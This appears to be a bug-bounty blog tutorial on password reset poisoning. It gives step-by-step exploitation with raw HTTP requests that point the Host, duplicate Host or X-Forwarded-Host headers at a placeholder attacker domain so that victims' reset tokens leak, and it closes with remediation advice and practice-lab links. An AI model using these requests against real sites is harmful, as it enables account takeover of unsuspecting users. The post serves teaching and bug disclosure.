Exploiting Password Reset Poisoning
To date, one of my most lucrative bug bounties came from a password reset poisoning vulnerability. This post walks through the process of finding, exploiting, and fixing this bug to help you earn a max payout in your own disclosures!
Overview
Password reset poisoning is a header based attack, where an attacker can manipulate the URL of a password reset link. Through adding or modifying HTTP request header values during an applications password reset process, it may be possible to overwrite the domain of the link sent to the user:
1
2
3
Hi,
Click the link below to reset your password:
https://<attacker-domain>/reset?token=123456789
Once clicked, the reset token is relayed to an attacker-controlled domain — resulting in account takeover.
Exploitation
-
Navigate to the web applications “Password Reset” page.
-
Enter the name, username, or email of the target users account.
- Use a web application proxy (BurpSuite, OWASP-ZAP, etc) to intercept the request and modify the Host: header value to an attacker controlled address:
-
Dont have your own server? Burp Collaborator links can help!
1 2 3 4
POST /login/password-reset HTTP/1.1 Host: <attacker-domain> ... {"email":"target-user@company.com"}
-
Dont have your own server? Burp Collaborator links can help!
- The user will receive a legitimate password reset email from the site. However, the link containing the secret reset token will show our modified header value:
1
https://<attacker-domain>/reset?token=123456789
- Once clicked by the user, the attacker can intercept the token and replay its value on the target application to successfully reset the victims password for full account takeover!
Workflow created by PortSwigger
Advanced Exploitation
Host header not working? Try these techniques
Double Host Header
Depending on how the server reacts to duplicate Host headers in the HTTP request, the malicious input may take precedence over the default:
1
2
3
4
POST /login/password-reset HTTP/1.1
Host: example.com
Host: <attacker-domain>
...
Test Override Headers
Override headers such as X-Forwarded-Host
, X-Forwarded-Server
, X-HTTP-Host-Override
, and X-Host
can sometimes work to replace the Host header value— resulting in successful exploitation:
1
2
3
4
POST /login/password-reset HTTP/1.1
Host: example.com
X-Forwarded-Host: <attacker-domain>
...
Remediation
Why does this happen?
Password reset poisoning can occur when a website relies on header values to direct traffic or craft page links. If left unchecked, an attacker can inject their own values and modify the intended behavior of the application.
How to fix it?
The easiest approach, is avoid using header values to define site navigation. Request headers are not protected fields and can be modified by the user to inject malicious inputs. Additionally, performing Host
header validation and removing support for override headers such as X-Forwarded-Host
can be good mitigating strategies.
For more prevention methods, checkout the Preventing HTTP Host header attacks section of this article.
Practice Resources
Want to try this technique on your own? Checkout:
- PortSwigger Lab: Basic Password Reset Poisoning.
- PortSwigger Lab: Password Reset Poisoning via Middleware.
- PortSwigger Lab: Password Reset Poisoning via Dangling Markup.